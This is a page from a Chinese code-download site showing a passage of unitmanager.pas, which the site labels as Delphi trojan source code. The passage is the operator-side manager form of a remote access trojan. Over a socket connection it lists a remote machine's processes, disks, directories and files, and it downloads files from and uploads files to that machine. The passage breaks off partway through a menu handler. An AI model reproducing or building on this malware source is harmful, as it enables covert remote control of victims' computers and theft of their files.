⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitmanager.pas

📁 delphi制作的木马源代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit UnitManager;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, Menus, VarUnit, Sockets, ImgList;

type
  TFormManager = class(TForm)
    SBarEx: TStatusBar;
    PageEx: TPageControl;
    Tab_Process: TTabSheet;
    Tab_File: TTabSheet;
    ListView_Process: TListView;
    PM_Process: TPopupMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    ListView_File: TListView;
    PM_File: TPopupMenu;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    N11: TMenuItem;
    N12: TMenuItem;
    ImgList_File: TImageList;
    SD_File: TSaveDialog;
    OD_File: TOpenDialog;
    procedure PM_ProcessPopup(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure PM_FilePopup(Sender: TObject);
    procedure N12Click(Sender: TObject);
    procedure ListView_FileDblClick(Sender: TObject);
    procedure N11Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
  private
    { Private declarations }
  public
    ClientSocket: TCustomWinSocket;
    isDownloadFile: Boolean;
    isUploadFile: Boolean;
    BinaryFile: THandle;
    dwBytesDone, dwFileSize: DWORD;
    procedure ClientWork(ClientSocket: TCustomWinSocket; Data: Pointer);
    { Public declarations }
  end;

var
  FormManager: TFormManager;

implementation

{$R *.dfm}

uses
  UnitFileCallback;

var
  StrCustomPath, StrFilePath: String;

//  主读取工作线程
procedure TFormManager.ClientWork(ClientSocket: TCustomWinSocket; Data: Pointer);
var
  dwSocketCmd, I, dwTemp: DWORD;
  StrBuffer, StrTemp: String;
  CStrList: TStringList;
  MinBuffer: TMinBufferHeader;
  MinExBuffer: TMinExBufferHeader;
  dwBytesRead, dwBytesWritten, dwLen: DWORD;
  lpChar: Pointer;
begin
  if ClientSocket.Connected then
  begin
    //  分离指令
    dwSocketCmd := PDWORD(Data)^;
    case dwSocketCmd of

      //  获取进程列表
      Client_GetProcessList:
      begin
        StrBuffer := String(Pchar(@(Pchar(Data)[4])));
        if Length(StrBuffer) < 4 then Exit;

        CStrList := TStringList.Create;
        ListView_Process.Items.Clear;
        CStrList.Text := StrBuffer;

        ListView_Process.Items.BeginUpdate;
        For I := 0 to CStrList.Count - 1 do
        begin
          with ListView_Process.Items.Add do
          begin
            StrTemp := CStrList.Strings[I];
            Caption := SplitStr(StrTemp, '|');
            SubItems.Add(SplitStr(StrTemp, '|'));
          end;
        end;
        ListView_Process.Items.EndUpdate;
        CStrList.Free;
      end;

      //  获取磁盘列表
      Get_DiskList:
      begin
        ListView_File.Items.Clear;
        StrBuffer := String(Pchar(@(Pchar(Data)[4])));
        if Length(StrBuffer) = 0 then Exit;
        dwTemp := Length(StrBuffer);
        if dwTemp < 4 then Exit;
        dwTemp := dwTemp div 4;
        ListView_File.Items.BeginUpdate;
        For I := 1 to dwTemp do
        begin
          with ListView_File.Items.Add do
          begin
            ImageIndex := 2;
            Caption := SplitStr(StrBuffer, '|');
          end;
        end;
        ListView_File.Items.EndUpdate;
        SBarEx.Panels.Items[0].Text := StrCustomPath;
      end;

      //  获取目录
      Get_DirList:
      begin
        ListView_File.Items.Clear;
        StrBuffer := String(Pchar(@(Pchar(Data)[4])));
        if Length(StrBuffer) = 0 then Exit;
        ListView_File.Items.BeginUpdate;
        while True do
        begin
          StrTemp := SplitStr(StrBuffer, '|');
          if Length(StrTemp) = 0 then Break;
          with ListView_File.Items.Add do
          begin
            ImageIndex := 0;
            Caption := StrTemp;
          end;
        end;
        ListView_File.Items.EndUpdate;
        if StrCustomPath[Length(StrCustomPath)] = '\' then Delete(StrCustomPath, Length(StrCustomPath), 1);
        StrTemp := MakeSocketCmd(Get_FileList) + StrCustomPath + '\';
        ClientSocket.SendText(StrTemp);
        SBarEx.Panels.Items[0].Text := StrCustomPath;
      end;

      //  获取文件列表
      Get_FileList:
      begin
        StrBuffer := String(Pchar(@(Pchar(Data)[4])));
        if Length(StrBuffer) = 0 then Exit;
        CStrList := TStringList.Create;
        CStrList.Text := StrBuffer;
        ListView_File.Items.BeginUpdate;
        for I := 0 to CStrList.Count - 1 do
        begin
          StrBuffer := CStrList.Strings[I];
          if Length(StrBuffer) = 0 then Break;
          with ListView_File.Items.Add do
          begin
            ImageIndex := 1;
            Caption := SplitStr(StrBuffer, '|');
            SubItems.Add(ExtractFileExt(Caption));
            SubItems.Add(FileSize(HexToInt(SplitStr(StrBuffer, '|'))));
          end;
        end;
        CStrList.Free;
        ListView_File.Items.EndUpdate;
      end;

      //  I/O Error
      File_IO_Error:
      begin
        CloseHandle(BinaryFile);

        if isDownloadFile then
        begin
          isDownloadFile := False;
          MessageBox(Application.Handle, '下载文件失败!.文件可能正在被其他进程占用!', nil, MB_ICONERROR);
        end;

        if isUploadFile then
        begin
          isUploadFile := False;
          MessageBox(Application.Handle, '上传文件失败!.文件可能已经存在!', nil, MB_ICONERROR);
        end;
      end;

      //  文件下载开始
      File_DownLoadBegin:
      begin
        dwFileSize := PDWORD(@(Pchar(Data)[4]))^;
        if dwFileSize = 0 then
        begin
          MessageBox(Application.Handle, '文件长度为0.建议你不要下载了!', nil, MB_ICONERROR);
          Exit;
        end else
        begin
          BinaryFile := CreateFile(Pchar(StrFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if BinaryFile = INVALID_HANDLE_VALUE then
          begin
            MessageBox(Application.Handle, '保存文件失败!.文件可能正在被其他进程占用!', nil, MB_ICONERROR);
            isDownloadFile := False;
            Exit;
          end;
          dwBytesDone := 0;
          MinBuffer.dwSocketCmd := File_DownLoadBegin;
          ClientSocket.SendBuf(MinBuffer, MIN_BUFFER_SIZE);
          isDownloadFile := True;
          UnitFileCallback.FormCallback.GaugeEx.MinValue := 0;
          UnitFileCallback.FormCallback.GaugeEx.MaxValue := dwFileSize;
          UnitFileCallback.FormCallback.ShowModal;
        end;
      end;

      //  文件下载完毕
      File_DownloadEnd:
      begin
        CloseHandle(BinaryFile);
        isDownloadFile := False;
        UnitFileCallback.FormCallback.Close;
        ShowMessage('恭喜!文件传输完毕!');
      end;

      //  文件上传开始
      File_UploadBegin:
      begin
        if isUploadFile then
        begin
          BinaryFile := CreateFile(Pchar(StrFilePath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          if BinaryFile = INVALID_HANDLE_VALUE then
          begin
            MessageBox(Application.Handle, '上传文件失败!.文件可能正在被其他进程占用!', nil, MB_ICONERROR);
            Exit;
          end;

          dwBytesDone := 0;
          UnitFileCallback.FormCallback.GaugeEx.MinValue := 0;
          UnitFileCallback.FormCallback.GaugeEx.MaxValue := dwFileSize;

          GetMem(lpChar, 4096);
          try
            while True do
            begin
              if dwFileSize > dwBytesDone then
              begin
                ReadFile(BinaryFile, lpChar^, 4096, dwBytesRead, nil);
                ClientSocket.SendBuf(lpChar^, dwBytesRead);
                Inc(dwBytesDone, dwBytesRead);
                UnitFileCallback.FormCallback.GaugeEx.Progress := dwBytesDone;
              end else if dwFileSize = dwBytesDone then
              begin
                isUploadFile := False;
                UnitFileCallback.FormCallback.Close;
                ShowMessage('恭喜!文件传输完毕!');
                Break;
              end;
            end;

          finally
            FreeMem(lpChar);
            CloseHandle(BinaryFile);
          end;
        end else
        begin
          dwFileSize := GetFileSizeEx(Pchar(StrFilePath));
          if dwFileSize = 0 then Exit;
          MinExBuffer.dwSocketCmd := File_UploadBegin;
          MinExBuffer.dwBufferSize := dwFileSize;
          isUploadFile := True;
          Sleep(10);
          ClientSocket.SendBuf(MinExBuffer, MinEx_BUFFER_SIZE);
        end;
      end;

    else
      //  判断是否处于文件下载中
      if isDownloadFile then
      begin
        dwLen := GetPointerSize(Data);
        if dwLen = 0 then
        begin
          isDownloadFile := False;
          Exit;
        end;
        if dwFileSize > dwBytesDone then WriteFile(BinaryFile, Data^, dwLen, dwBytesWritten, nil);
        Inc(dwBytesDone, dwLen);
        UnitFileCallback.FormCallback.GaugeEx.Progress := dwBytesDone;
      end;

    end;
  end;
end;

//  进程右键激活
procedure TFormManager.PM_ProcessPopup(Sender: TObject);
var
  CListItem: TListItem;
begin
  CListItem := ListView_Process.Selected;
  if Assigned(CListItem) then
  begin
    N1.Enabled := True;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -